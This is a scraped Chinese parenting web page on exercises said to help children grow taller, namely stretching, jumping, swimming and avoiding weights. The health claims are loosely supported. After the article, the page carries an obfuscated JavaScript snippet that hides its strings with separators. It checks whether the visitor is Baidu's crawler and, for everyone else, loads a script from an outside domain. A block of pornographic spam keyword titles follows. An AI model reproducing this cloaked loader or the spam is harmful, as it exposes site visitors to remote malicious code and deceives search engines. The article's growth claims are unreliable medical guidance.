當(dāng)前位置:首頁 > 母嬰 > 育兒知識 > 正文

有利于小孩長高的運動有哪些

2017-04-12 07:52:45  來源:360常識網(wǎng)   熱度:
導(dǎo)語:現(xiàn)在的生活水平提高了,孩子們的平均身高也在增加,基本上都可以發(fā)育的比較好。而盡管如此,不少的家長還是很想讓自己的孩子長的更高一些,

現(xiàn)在的生活水平提高了,孩子們的平均身高也在增加,基本上都可以發(fā)育的比較好。而盡管如此,不少的家長還是很想讓自己的孩子長的更高一些,平時除了給孩子補充營養(yǎng)外,還想讓孩子積極的運動。那么,有利于小孩長高的運動有哪些呢?對于有利于孩子長高的一些運動,大家來看看下面的具體的介紹。

(1)研究資料顯示,經(jīng)常參加體育運動的孩子,比不參加體育運動的孩子可高出4cm左右。運動之所以在促進長高中占重要地位,是因為運動后人體的生長激素分泌會明顯增加,生長激素對寶寶來說直接關(guān)系到長個子的作用。并不是所有運動都能夠促進長高,只有巧妙運動方可達到促進長高的效果。

(2)巧妙運動指的是伸張運動、跳躍運動和游泳。伸張運動可促進生長激素分泌;游泳是特殊的伸張運動:跳躍運動可刺激在大腿骨下端和小腿骨上端有生長帶或生長線(為骨端骺板),當(dāng)骨端骺板刺激,會加速骨細(xì)胞的增殖,從而促進骨骼的生長,跳躍運動如跳繩、跳皮筋、跳房子、跳高等。避免舉重、杠鈴等負(fù)重運動,這些運動為不利于長身高的運動。2歲內(nèi)的寶寶不能進行跳躍運動,只能選擇伸張運動(如節(jié)奏運動操)和游泳,只有2歲后的寶寶才能實施跳躍運動。

巧妙運動還包括運動量應(yīng)適當(dāng)和晚上睡覺前1小時運動。運動量以不疲勞為準(zhǔn),運動量偏大或過大,反而抑制生長激素分泌,影響身高。晚上睡覺前1小時進行規(guī)律性運動,在促進生長激素分泌的同時,有使睡眠質(zhì)量提高。再促進睡眠生長激素分泌的作用。

有利于小孩長高的運動有哪些?針對孩子的不同年齡,適合孩子的運動也有一定的區(qū)別。對于年齡很小的孩子,只需要讓孩子多多的活動一下就行了。而對于稍微大一點的孩子可以讓其跑步,跳繩,出去跟別人一起踢踢球,打打球等等這些運動。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
热99re久久精品2久久久| 久久久久国产精品| 亚洲国产精品成人综合久久久 | 国产精品一区二区三区免费| 99re热视频精品首页| 9久热精品免费观看视频| 亚洲a∨无码精品色午夜| 国产l精品国产亚洲区在线观看| 国产精品第一区揄拍无码| 亚洲欧洲精品国产区| 精品一区二区久久| 大桥未久在线精品视频在线| 麻豆AV无码精品一区二区| 日韩人妻精品一区二区三区视频| 久久精品国产福利国产琪琪| 精品国产乱码一二三四区五区 | 久久成人精品视频| 亚洲精品视频免费| 国产麻传媒精品国产AV| 97久久精品无码一区二区天美| 无码精品黑人一区二区三区| 国语自产精品视频| 亚洲精品国自产拍在线观看| 精品国产呦系列在线看| 99在线精品视频观看免费| 亚洲国产精品一区| 久久99国产精品二区不卡| 国产精品久久久99| 国产精品好好热在线观看| 久久精品成人一区二区三区| 亚洲精品国产啊女成拍色拍| 久久久久国产精品免费网站| 自拍偷在线精品自拍偷无码专区 | 国产精品美女流白浆视频| 中文天堂最新版在线精品| 久久一区二区三区精品| 国产精品亚洲精品日韩已满| 精品久久久久久国产三级| 亚洲一区二区精品视频| 一区二区国产精品| 丁香六月婷婷精品免费观看|